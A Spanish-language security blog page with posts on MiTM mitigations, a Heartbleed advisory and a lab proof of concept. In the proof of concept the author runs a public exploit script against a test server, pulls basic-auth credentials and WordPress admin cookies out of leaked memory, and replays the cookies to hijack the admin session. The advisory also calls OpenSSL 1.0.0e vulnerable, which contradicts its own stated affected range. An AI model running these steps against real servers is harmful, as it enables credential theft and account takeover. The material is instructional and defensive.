Mostrando entradas con la etiqueta tls. Mostrar todas las entradas
Mostrando entradas con la etiqueta tls. Mostrar todas las entradas

sábado, 2 de mayo de 2015

End-To-End security, evitando ataques MiTM

Hace mucho tiempo que Internet dejó de ser ese lugar pacífico y seguro donde protocolos como telnet o ftp se consideraban buenas prácticas. Hoy la red de redes es mas bien un callejón oscuro en una noche lluviosa en una de esas grandes metrópolis que vemos en las películas. Atravesar dicho callejón sin las debidas precauciones podría ser una muy muy mala idea.

La seguridad end-to-end de las comunicaciones es fundamental para proporcionar privacidad y prevenir buena parte de los ataques MiTM (ataques de hombre en el medio).

Se reconoce como ataque MiTM a un ataque donde una tercera parte (el atacante) logra posicionarse en medio de una comunicación entre por ejemplo cliente y servidor. Durante esta intervención el atacante es capaz de ver la comunicación, alterarla y/o interrumpirla. Por definición, una red que se encuentre en poder de un atacante es vulnerable a un ataque MiTM.

El ataque MiTM más conocido es ARP spoofing. En este caso el atacante enviando tramas ARP falsificadas logra engañar a la víctima y se hace pasar por el gateway de la LAN. 

En la actualidad no existe una bala de plata contra los ataques MiTM, sin embargo se pueden tomar medidas que incrementen la dificultad de llevarlos a cabo, haciéndolos a veces hasta impracticables (esta afirmación dependerá de quién es el atacante y de cuántos recursos dispone, no es lo mismo si tu atacante es un niño aburrido o un gobierno).

Existe dos medidas muy utilizadas para atenuar/evitar los ataques MiTM y son el cifrado y el uso de certificados digitales. Estas medidas protegen principalmente la confidencialidad y la integridad de la información en tránsito, complicando claramente el escenario para un atacante. Pero ni lerdos ni perezosos, los atacantes apuntan ahora contra las debilidades en los mecanismos de protección, por ejemplo atacando las CAs, los algoritmos de cifrado o los protocolos que los utilizan. Algunos de esos ejemplos son:

-Ataques a CAs como Comodo o DigiNotar.
-Ataques como BEAST, CRIME and POODLE han dejado a SSL al borde del Knock Out.


Pareciera que la única opción es sentarnos a beber y llorar, pero no! Hay maneras de complicar aún mas el camino a los atacantes. Porque al final del día siempre se trata de eso, la seguridad absoluta no existe.

Según US-CERT estas son las mejores prácticas para aspirar a seguridad End-to-End y mitigar así ataques MiTM.

Actualizar TLS/SSL:

Se recomienda utilizar TLS 1.1 o superior y en lo posible desterrar el uso de TLS 1.0 y SSL 1, 2 y 3.x. Algunos clientes TLS 1.0 pueden usar SSL 3.0 el cuál es vulnerable al ataque POODLE cuando se utiliza el modo de cifrado de bloques encadenado.
Empresas como AWS, CloudFlare y Twitter ya cumplen esta recomendación o están en proceso.

Usar Certificate Pinning:

Esta técnica consiste en asociar un certificado X.509 y su clave pública a por ejemplo un host/servicio. Generalmente, los certificados son validados corroborando la cadena de confianza hasta el certificado raíz. Certificate Pinning esquiva ese proceso de validación y permite al usuario confiar en un certificado particular o en la firma de un certificado particular.

Browsers como Chrome o Firefox utilizan esta técnica. Una de las maneras en que la aplican es pre-cargando los hashes de las claves públicas aceptadas; luego limitan los certificados válidos a aquellos cuyo hash de la clave pública coincida con alguno de los pre-cargados. Chrome por su lado mantiene una lista blanca de las claves públicas válidas para los servicios de Google.

Certificate Pinning destruye en cierta manera el esquema de cadena de confianza que plantea PKI, ya que una aplicación que asocia un certificado o clave pública a un host ya NO depende de otros servicios como DNS o CAs a la hora de aceptar la identidad del mismo.

OWASP lo plantea muy clarito:

The pandemic abuse of trust has resulted in users, developers and applications making security related decisions on untrusted input. The situation is somewhat of a paradox: entities such as DNS and CAs are trusted and supposed to supply trusted input; yet their input cannot be trusted. Relying on untrusted input for security related decisions is not only bad karma, it violates a number of secure coding principals

DNS-Based Authentication of Named Entities (DANE):

 DANE es un protocolo que permite asociar un certificado X.509 a un registro DNS que use DNSSEC. Confiar en un gran número de CAs es un problema, ya que una de ellas podría ser comprometida y emitir certificados para dominios que no fueron solicitados. DANE permite al administrador del dominio definir qué CA puede emitir certificados en su nombre.

Network Notary Servers:

Esta solución apunta a mejorar la seguridad en la comunicación entre clientes y sitios web permitiendo a los navegadores verificar la autenticidad de un sitio sin depender de una CA. Un Network Notary Server se encarga de monitorizar sitios web y construir un historial de sus certificados a través del tiempo. Entoces cuando un navegador web, utilizando network notary, obtiene el certificado de un sitio web puede comunicarse con su Network Notary Server para corroborar el historial de certificado del sitio. Si el certificado provisto por el web server no coincide con el historial del Notary Network Server, se podría tratar de un ataque MiTM.

Fuentes:

https://www.us-cert.gov/ncas/alerts/TA15-120A
http://en.wikipedia.org/wiki/ARP_spoofing
https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
http://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities 
http://perspectives-project.org/
https://www.dnssec-validator.cz/


viernes, 11 de abril de 2014

HeartBleed proof of concept - CVE-2014-0160 - Una prueba de concepto

Muuuuuuuuuuuuucho se habló en los últimos días (y se sigue hablando de hecho) de este gran tropiezo de OpenSSL llamado "HeartBleed bug", por si no están al tanto pueden pasar por aca o por aca para una mirada en Inglés. La idea de esta entrada es demostrar de manera mas o menos sencilla la potencialidad del problema. Para explotar el bug utilizaré el pequeño pero potente script en python desarrollado por Jared Stafford.

El escenario de prueba es el siguiente:


-Servidor Ubuntu 12.04.4 LTS con Apache y OpenSSL 1.0.1 (vulnerable)
-IP: 172.16.62.149
-Un certificado autofirmado
-Autenticación basic-auth
-Wordpress

Comprobar que el servidor es vulnerable:


Lanzamos manualmente el script para corroborar el estado de debilidad del servidor.

juan@moon:~/pruebas$ ./heartbleed.py 172.16.62.149
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 629
 ... received message: type = 22, ver = 0302, length = 397
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
...
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!

Excelente, el servidor es efectivamente vulnerable. Lo que vemos como salida es la respuesta del servidor, que casualmente resulta ser el contenido de un buffer interno de OpenSSL en el cuál se pueden encontrar cosas interesantes.

Prueba de concepto con basic-auth:


Como mencioné antes, el servidor cuenta con una autenticación de tipo basic que pide un usuario llamado juan con clave pepe. Para quienes tengan duda, la autenticación esta se realiza luego de haberse establecido la comunicación segura sobre SSL/TLS, y por lo tanto debería ser imposible conseguir las credenciales del usuario.

Nota: la autenticación basic manda en texto claro la cadena usuario:clave codificada en base64 dentro del encabezado HTTP.

Para simplificar las cosas podemos saber qué cadena debemos buscar en la salida del script, simplemente codificando juan:pepe en base64.


juan@moon:~$ echo -n "juan:pepe" | base64 
anVhbjpwZXBl
juan@moon:~$

Listo, la cadena que buscaremos en la salida es anVhbjpwZXBl.


Desde un browser accedemos al sitio por HTTPS y nos autenticamos correctamente:


Inmediatamente después lanzamos nuevamente el script desde la consola y en un par de ejecuciones nos encontramos conesto :


Claro como el agua... encontramos la cadena (me olvidé de marcar an, soy pésimo manejando GIMP, perdón). Si ahora la decodificamos:

juan@moon:~$ echo "anVhbjpwZXBl"|base64 -d
juan:pepejuan@moon:~$ 

Volvemos a obtener el usuario y password correspondiente!!! Es decir que ahora ya sabemos que es posible obtener las credenciales, solo debemos buscar la cadena Basic que las antecede.

Y qué pasa con otras aplicaciones? Wordpress?


 La realidad es que este buffer almacena parte de la información que es devuelta al cliente y allí podremos encontrar muuuchas cosas interesantes (como se demostró en el punto anterior). En este caso particular veremos cómo se comporta este bug con una aplicación como Wordpress. A decir verdad el comportamiento será igual para cualquier tipo de aplicación web, por lo tanto esto es solo un caso particular, pero el método vale para muchos escenarios mas.

Nos autenticamos en Wordpress como admin en este caso, desde mi Chrome en Linux y confiamos plenamente en la seguridad de mi super certificado autofirmado que cifrará toda la comunicación y por lo tanto mis credenciales atravesarán la web cifradas (esto sigue siendo completamente válido!).


Ahora lanzamos el script desde una consola hasta que encontremos en la respuesta algo reconocible. Como:


...
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 33 37 2E 31  ....#.......37.1
  00e0: 37 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47  7 (KHTML, like G
  00f0: 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 32 34 2E  ecko) Chrome/24.
  0100: 30 2E 31 33 31 32 2E 35 36 20 53 61 66 61 72 69  0.1312.56 Safari
  0110: 2F 35 33 37 2E 31 37 0D 0A 41 63 63 65 70 74 3A  /537.17..Accept:
  0120: 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 72 3A 20 68   */*..Referer: h
  0130: 74 74 70 73 3A 2F 2F 31 37 32 2E 31 36 2E 36 32  ttps://172.16.62
  0140: 2E 31 34 39 2F 77 70 2D 61 64 6D 69 6E 2F 0D 0A  .149/wp-admin/..
  0150: 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A  Accept-Encoding:

  0160: 20 67 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64   gzip,deflate,sd
  0170: 63 68 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75  ch..Accept-Langu
  0180: 61 67 65 3A 20 65 73 2C 65 6E 2D 55 53 3B 71 3D  age: es,en-US;q=
  0190: 30 2E 38 2C 65 6E 3B 71 3D 30 2E 36 2C 65 6E 2D  0.8,en;q=0.6,en-
  01a0: 47 42 3B 71 3D 30 2E 34 0D 0A 41 63 63 65 70 74  GB;q=0.4..Accept
  01b0: 2D 43 68 61 72 73 65 74 3A 20 49 53 4F 2D 38 38  -Charset: ISO-88
  01c0: 35 39 2D 31 2C 75 74 66 2D 38 3B 71 3D 30 2E 37  59-1,utf-8;q=0.7
  01d0: 2C 2A 3B 71 3D 30 2E 33 0D 0A 43 6F 6F 6B 69 65  ,*;q=0.3..Cookie
  01e0: 3A 20 77 6F 72 64 70 72 65 73 73 5F 73 65 63 5F  : wordpress_sec_
  01f0: 61 62 61 62 38 62 37 30 63 33 63 33 32 64 35 63  abab8b70c3c32d5c
  0200: 38 36 34 65 32 61 66 64 65 65 32 32 31 38 32 37  864e2afdee221827
  0210: 3D 61 64 6D 69 6E 25 37 43 31 33 39 37 33 36 33  =admin%7C1397363
  0220: 31 39 31 25 37 43 32 61 65 35 30 34 30 62 63 31  191%7C2ae5040bc1
  0230: 33 65 63 30 63 66 30 37 66 35 34 63 31 31 66 35  3ec0cf07f54c11f5
  0240: 66 39 34 33 36 62 3B 20 77 6F 72 64 70 72 65 73  f9436b; wordpres
  0250: 73 5F 74 65 73 74 5F 63 6F 6F 6B 69 65 3D 57 50  s_test_cookie=WP
  0260: 2B 43 6F 6F 6B 69 65 2B 63 68 65 63 6B 3B 20 77  +Cookie+check; w
  0270: 6F 72 64 70 72 65 73 73 5F 6C 6F 67 67 65 64 5F  ordpress_logged_
  0280: 69 6E 5F 61 62 61 62 38 62 37 30 63 33 63 33 32  in_abab8b70c3c32
  0290: 64 35 63 38 36 34 65 32 61 66 64 65 65 32 32 31  d5c864e2afdee221
  02a0: 38 32 37 3D 61 64 6D 69 6E 25 37 43 31 33 39 37  827=admin%7C1397
  02b0: 33 36 33 31 39 31 25 37 43 62 62 35 35 35 34 37  363191%7Cbb55547
  02c0: 30 35 35 38 63 37 31 66 30 38 32 36 30 62 65 30  0558c71f08260be0
  02d0: 34 62 37 64 66 34 63 63 64 3B 20 77 70 2D 73 65  4b7df4ccd; wp-se
  02e0: 74 74 69 6E 67 73 2D 74 69 6D 65 2D 31 3D 31 33  ttings-time-1=13
  02f0: 39 37 31 39 30 33 39 32 0D 0A 0D 0A 86 9A 98 1D  97190392........
  0300: F7 86 18 75 98 5E 72 C7 7B DA B5 FD 6C C8 0D 48  ...u.^r.{...l..H
...

Acabamos de capturar ni mas ni menos que las cookies de una sesión autenticada como admin!!!  Y ahora? 

El paso siguiente es utilizarlas, y una manera sencilla es mediante el complemento Cookies Manager para Firefox. Abrimos una ventana de Firefox en una VM con Windows (solo para que quede demostrado que es un entorno completamente diferente al entorno donde se inicio la sesión) e intentamos acceder a wp-admin.



Claramente precisamos un usuario y un password, que no tenemos!!! Entonces? Cargamos las cookies una a una, pasadas en limpio las cookies son las 4 siguientes:


wordpress_sec_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7C2ae5040bc13ec0cf07f54c11f5f9436b
wordpress_test_cookie=WP+Cookie+check
wordpress_logged_in_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7Cbb555470558c71f08260be04b7df4ccd
wp-settings-time-1=1397190392

Cargadas con Cookies Manager se ven así:


Y ahora volvemos a intentar acceder a wp-admin y...


como por arte de magia estamos en el dashboard como usuario administrador!!! A partir de aquí se podría hacer prácticamente cualquier cosa en este blog.

Resumen


Es evidente que la vulnerabilidad en cuestión expone brutalmente el contenido que se supone debería estar protegido por la capa de cifrado SSL/TLS. Por lo tanto aplicar el parche correspondiente y revocar los certificados es una idea MAS que recomendable (obligatoria diría).

miércoles, 9 de abril de 2014

TA14-098A: OpenSSL 'Heartbleed' vulnerability (CVE-2014-0160), Holly crap!!! LEER!!!

Para quienes no conocen OpenSSL, se trata de un conjunto de bibliotecas de software que implemetan funciones criptográficas. Estas bibliotecas son fuertemente utilizadas para brindar seguridad en las comunicaciones como por ejemplo en: VPNs, HTTPS, SSH, etc.

El bug en cuestión, denominado Heartbleed e identificado por mitre como CVE-2014-0160 permite al atacante acceder a parte de la memoria del sistema vulnerable y así obtener las claves con las que se podría acceder a la información protegida por la capa SSL/TLS de la comunicación.

La posible información filtrada se organiza en 4 categorías según su criticidad:

1- Primary key material: ni mas ni menos que la clave de un certificado X.509 por ejemplo. Este nivel de compromiso es costosísimo... para solucionarlo, además de aplicar el parche para OpenSSL es necesario revocar el certificado en cuestión y pedir uno nuevo, de lo contrario cualquier tráfico futuro podría ser espiado. Cualquier tráfico pasado es completamente legible para el atacante.

2- Secondary key material: un ejemplo de este tipo son las claves del home banking, de sitios webs que utilicen SSL/TLS, etc. Si tu banco aún es vulnerable yo cambiaría las credenciales, claro una vez que hayan solucionado el problema.

3- Protected content: en esta categoría cae toda la información que es transferida durante la comunicación cifrada. Por ejemplo archivos adjuntos descargados de una cuenta de correo, o transferidos a través de una VPN, etc.

4- Collateral: esta cuarta categoría es de baja importancia para el usuario del sistema, se trata de información acerca del entorno del sistema vulnerable, como direcciones de memoria y medidas de seguridad existentes.

Cómo saber si mis sistemas son vulnerables?

Bueno, hay al menos dos formas de saberlo. Una de ellas es identificando la versión de OpenSSL instalada en el sistema y la otra es probando la vulnerabilidad como Dios manda.

Versión de OpenSSL instalada:


juan@moon:~/pruebas$ openssl version
OpenSSL 1.0.0e 6 Sep 2011
juan@moon:~/pruebas$ 

Las versiones de OpenSSL entre 1.0.1 y 1.0.1g se ven afectadas (la mía por ejemplo es vulnerable). 

Podemos probar la vulnerabilidad de dos maneras, tercerizándolo (me da cierto miedo este camino, nunca sabemos con certeza las intenciones de terceros) por http://filippo.io/Heartbleed/ 



o usando el script provisto por Jared Stafford en http://pastebin.com/3NdQVHxn (que por algún motivo no coincide con la valoración de heartbleed test).

 Ejemplo:

juan@moon:~/pruebas$ ./heartbleed.py XXXXXXXX
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0301, length = 66
 ... received message: type = 22, ver = 0301, length = 3982
 ... received message: type = 22, ver = 0301, length = 331
 ... received message: type = 22, ver = 0301, length = 4
Sending heartbeat request...
 ... received message: type = 21, ver = 0302, length = 2
Received alert:
  0000: 02 46                                            .F

Server returned error, likely not vulnerable
juan@moon:~/pruebas$ 

Es probable que una de las dos pruebas no sea del todo precisa, y si nos remitimos a la versión de OpenSSL del servidor

[root@XXXXXX ~]# openssl version
OpenSSL 1.0.1e-fips 11 Feb 2013
[root@XXXXXX ~]# 

podemos confirmar que la prueba web es mas precisa que el script.

Cómo solucionarlo?

La solución al bug es sencilla, basta con actualizar la versión de OpenSSL, la mayoría de las distribuciones de linux ya la tienen disponible. La dificultad está en cómo tratar los sistemas que fueron comprometidos. 

Lamentablemente no es posible (al menos por lo que leí) identificar qué sistemas fueron vulnerados, los administradores de sistemas que manejen información realmente importante deberían considerar fuertemente la idea de revocar los certificados y reemplazarlos.